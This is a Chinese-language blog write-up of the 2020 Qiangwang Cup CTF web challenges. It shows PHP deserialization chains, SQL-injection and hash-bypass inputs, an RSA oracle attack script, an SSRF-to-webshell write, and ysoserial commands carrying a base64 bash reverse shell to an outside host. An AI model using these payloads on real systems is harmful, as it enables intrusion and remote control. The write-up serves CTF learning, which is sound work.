sky's blog

2020 第四届强网杯全国网络安全挑战赛Online Writeup

字数统计: 2,008阅读时长: 11 min
2020/08/23 Share

前言

周末参加了强网杯线上赛,以下是web题解。

web辅助

类定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php
class player{
protected $user;
protected $pass;
protected $admin;

public function __construct($user, $pass, $admin = 0){
$this->user = $user;
$this->pass = $pass;
$this->admin = $admin;
}

public function get_admin(){
return $this->admin;
}
}

class topsolo{
protected $name;

public function __construct($name = 'Riven'){
$this->name = $name;
}

public function TP(){
if (gettype($this->name) === "function" or gettype($this->name) === "object"){
$name = $this->name;
$name();
}
}

public function __destruct(){
$this->TP();
}

}

class midsolo{
protected $name;

public function __construct($name){
$this->name = $name;
}

public function __wakeup(){
if ($this->name !== 'Yasuo'){
$this->name = 'Yasuo';
echo "No Yasuo! No Soul!\n";
}
}


public function __invoke(){
$this->Gank();
}

public function Gank(){
if (stristr($this->name, 'Yasuo')){
echo "Are you orphan?\n";
}
else{
echo "Must Be Yasuo!\n";
}
}
}

class jungle{
protected $name = "";

public function __construct($name = "Lee Sin"){
$this->name = $name;
}

public function KS(){
system("cat /flag");
}

public function __toString(){
$this->KS();
return "";
}

}
?>

整体来说,链还是比较容易找到的:

1
topsolo -> __destruct -> TP -> $name() -> midsolo -> __invoke -> Gank -> stristr($this->name, 'Yasuo') -> jungle -> __toString -> KS

其中midsolo中有wakeup限制:

1
2
3
4
5
6
public function __wakeup(){
if ($this->name !== 'Yasuo'){
$this->name = 'Yasuo';
echo "No Yasuo! No Soul!\n";
}
}

不过也是老考点了,比较好绕过。关键点是2个:

1
2
$player = new player($username, $password);
file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player)));

首先我们对象需要逃逸,否则无法反序列化我们想要的对象,其次存在对象属性名过滤:

1
2
3
4
5
6
7
8
9
function check($data)
{
if(stristr($data, 'name')!==False){
die("Name Pass\n");
}
else{
return $data;
}
}

属性名过滤我们可以通过:

1
\6e\61\6d\65

来进行bypass,而对于对象逃逸,已经是之前考察过的考点了,可以参考:

1
https://www.cnblogs.com/Wanghaoran-s1mple/p/13160708.html

因此我们可以通过:

1
2
$user = '0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0';
$pass='0";s:7:"\0*\0pass";O:7:"topsolo":1:{S:7:"\0*\0\6e\61\6d\65";O:7:"midsolo":2:{S:7:"\0*\0\6e\61\6d\65";O:6:"jungle":1:{S:7:"\0*\0\6e\61\6d\65";s:7:"Lee Sin";}}}};';

访问:

1
http://eci-2zefq4smu487cmezc2u4.cloudeci1.ichunqiu.com/?username=0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0&password=0%22%3Bs%3A7%3A%22%5C0%2A%5C0pass%22%3BO%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%5C0%2A%5C0%5C6e%5C61%5C6d%5C65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%5C0%2A%5C0%5C6e%5C61%5C6d%5C65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%5C0%2A%5C0%5C6e%5C61%5C6d%5C65%22%3Bs%3A7%3A%22Lee+Sin%22%3B%7D%7D%7D%7D%3B

再触发反序列化:

1
http://eci-2zefq4smu487cmezc2u4.cloudeci1.ichunqiu.com/play.php

即可获取flag:

Funhash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include 'conn.php';
highlight_file("index.php");
//level 1
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
die('level 1 failed');
}

//level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
die('level 2 failed');
}

//level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc();
var_dump($row);
$result->free();
$mysqli->close();

?>

题目源码如上,还是比较简单的,对于第一关可以使用0e开头的字符串,第二关可以使用数组,第三关则是一道老题,参考:

1
https://www.jianshu.com/p/12125291f50d

ffifdyop即可。
因此最后可使用:

1
http://39.101.177.96/?hash1=0e251288019&hash2[]=2&hash3[]=1&hash4=ffifdyop

dice2cry

访问题目,发现cookie里放有rsa的信息:

同时发现存在文件泄露:

1
http://106.14.66.189/abi.php.bak

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
session_start();
header("Content-type:text/html;charset=utf-8");

$data = json_decode($json_string, true);

$rand_number = isset($_POST['this_is.able']) ? $_POST['this_is.able'] : mt_rand();
$n = gmp_init($data['n']);
$d = gmp_init($data['d']);
$c = gmp_init($rand_number);
$m = gmp_powm($c,$d,$n);
$v3 = gmp_init('3');
$r = gmp_mod($m,$v3);
$result=(int)gmp_strval($r);
$dice = array("num"=>$result);
$json_obj = json_encode($dice);
echo $json_obj;
?>

发现可以传递参数:

1
$_POST['this_is.able']

但是this_is.able传递时,点会被替换成下划线:

1
this_is.able  ->  this_is_able

因此需要想办法绕过,这里查看底层处理方式main/php_variables.c,可以得知:

因此可以使用[来进行绕过,传参方式为:

1
this[is.able = xxxx

后面则是密码学的部分:
需要将:

1
https://crypto.stackexchange.com/questions/11053/rsa-least-significant-bit-oracle-attack

推广到mod 3的情况。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import requests
import json
from libnum import n2s
from fractions import Fraction
from Crypto.Util.number import*
url = 'http://106.14.66.189/abi.php'

c = 88611057676672840595766841579824069470206217129946135596214197506349717390763743327290683433946015480328468579057197141666127494006706093641604245416988006600651700656395596042499486504530580142311065863535717536001796279609016521570885772000690737095374160233594633294536318766991741757802548582282701543671
n=0x8f5dc00ef09795a3efbac91d768f0bff31b47190a0792da3b0d7969b1672a6a6ea572c2791fa6d0da489f5a7d743233759e8039086bc3d1b28609f05960bd342d52bffb4ec22b533e1a75713f4952e9075a08286429f31e02dbc4a39e3332d2861fc7bb7acee95251df77c92bd293dac744eca3e6690a7d8aaf855e0807a1157
e = 65537


def give_result_of_mod3(mm):
payload = str(mm)

data = {
'this[is.able':payload
}

Cookie = {
'PHPSESSID':'vpbteni7ahq83jh1chfs3kvug7',
'public_e':'010001',
'encrypto_flag':'88611057676672840595766841579824069470206217129946135596214197506349717390763743327290683433946015480328468579057197141666127494006706093641604245416988006600651700656395596042499486504530580142311065863535717536001796279609016521570885772000690737095374160233594633294536318766991741757802548582282701543671; public_n=8f5dc00ef09795a3efbac91d768f0bff31b47190a0792da3b0d7969b1672a6a6ea572c2791fa6d0da489f5a7d743233759e8039086bc3d1b28609f05960bd342d52bffb4ec22b533e1a75713f4952e9075a08286429f31e02dbc4a39e3332d2861fc7bb7acee95251df77c92bd293dac744eca3e6690a7d8aaf855e0807a1157'
}

r = requests.post(url=url,data=data,cookies=Cookie)
#print r.content
return int(json.loads(r.content)['num'])


def hack(c,e,n):
R = n%3

j = 1
exp3 = 3
length = n
low_bound = Fraction(0,1)

while length>1:
tmp_c = (pow(exp3,e,n)*c) % n
r = give_result_of_mod3(tmp_c)
k = (-r* inverse(R,3)) % 3
low_bound += Fraction(k*n,exp3)

exp3 *= 3
length = length//3
j +=1

return int(low_bound)

res = hack(c,e,n)

print(n2s(res))

flag{92ab3055092aad3e1856481091

half_infiltration

题目给出了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
highlight_file(__FILE__);

$flag=file_get_contents('ssrf.php');

class Pass
{
function read()
{
ob_start();
global $result;
print $result;

}
}

class User
{
public $age,$sex,$num;

function __destruct()
{
$student = $this->age;
$boy = $this->sex;
$a = $this->num;
$student->$boy();
if(!(is_string($a)) ||!(is_string($boy)) || !(is_object($student)))
{
ob_end_clean();
exit();
}
global $$a;
$result=$GLOBALS['flag'];
ob_end_clean();
}
}

if (isset($_GET['x'])) {
unserialize($_GET['x'])->get_it();
}

题目存在ssrf.php,想要知道源码,就必须先获取$flag的值,观察类定义,只有一个destruct可用,其中存在3个关键点:

1
2
3
$student->$boy();
global $$a;
ob_end_clean();

首先可以调对象的任意方法,其次存在变量覆盖,我们可以global任意变量,最后有ob_end_clean,我们拿不到输出。
同时注意到:

1
unserialize($_GET['x'])->get_it()

如果单独传入类则会由于没有__call方法而报错。结合上述问题,这里我们考虑用如下方式进行bypass:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
@error_reporting(1);
$flag='123';
class Pass
{
}

class User
{
public $age,$sex,$num;
}
$a = new Pass();
$b = new User();
$b->age = $a;
$b->sex = 'read';
$b->num = 'result';
$c = new User();
$c->age = $a;
$c->sex = 'read';
$c->num = 'this';
$d = serialize(array($b,$c));
echo urlencode($d);

可利用global $this出错:

让ob_end_clean无法清空缓冲区,从而获取输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
//经过扫描确认35000以下端口以及50000以上端口不存在任何内网服务,请继续渗透内网
$url = $_GET['we_have_done_ssrf_here_could_you_help_to_continue_it'] ?? false;
if(preg_match("/flag|var|apache|conf|proc|log/i" ,$url)){
die("");
}

if($url)
{

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_exec($ch);
curl_close($ch);

}

?>

通过:

1
http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=127.0.0.1

进行端口爆破,burp跑一遍,发现开放端口为40000:

1
http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=127.0.0.1:40000


查看参数名为:

猜想后端代码为:

1
file_put_contents($file,$content);

同时脑洞想到,文件上传目录为127.0.0.1:40000/uploads/PHPSESSID/
利用gopher传递数据,发现简单的使:

1
file=1.php&content=<?php phpinfo();?>

会导致文件没有正常生成,原因应该是content被过滤了,简单测试,发现过滤了:

1
<? ph

因此考虑使用伪协议写入内容,为避免过滤,直接选择了一个冷门的:

1
file=php://filter/convert.iconv.UCS-4LE.UCS-4*/resource=shell.php&content=hp?<   pave@_$(l[TEG]"a">?;)

即可写入shell:

尝试cat flag,但是发现存在open_basedir,这里使用一些常规的绕过方案:

即可看到flag,读取即可。

easy_java

首先发现存在反序列化点:

同时看到黑名单:

发现未对JRMPListener做过滤,查看pom.xml:

发现有commons-collections依赖,因此利用ysoserial来生成exp:

1
2
3
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 23334 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eHgueHh4Lnh4eC54eHgvMjMzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}"

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient xxx.xxx.xxx.xxx:23334 > 1.poc



即可反弹shell,并获取flag。

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前言
  2. 2. web辅助
  3. 3. Funhash
  4. 4. dice2cry
  5. 5. half_infiltration
  6. 6. easy_java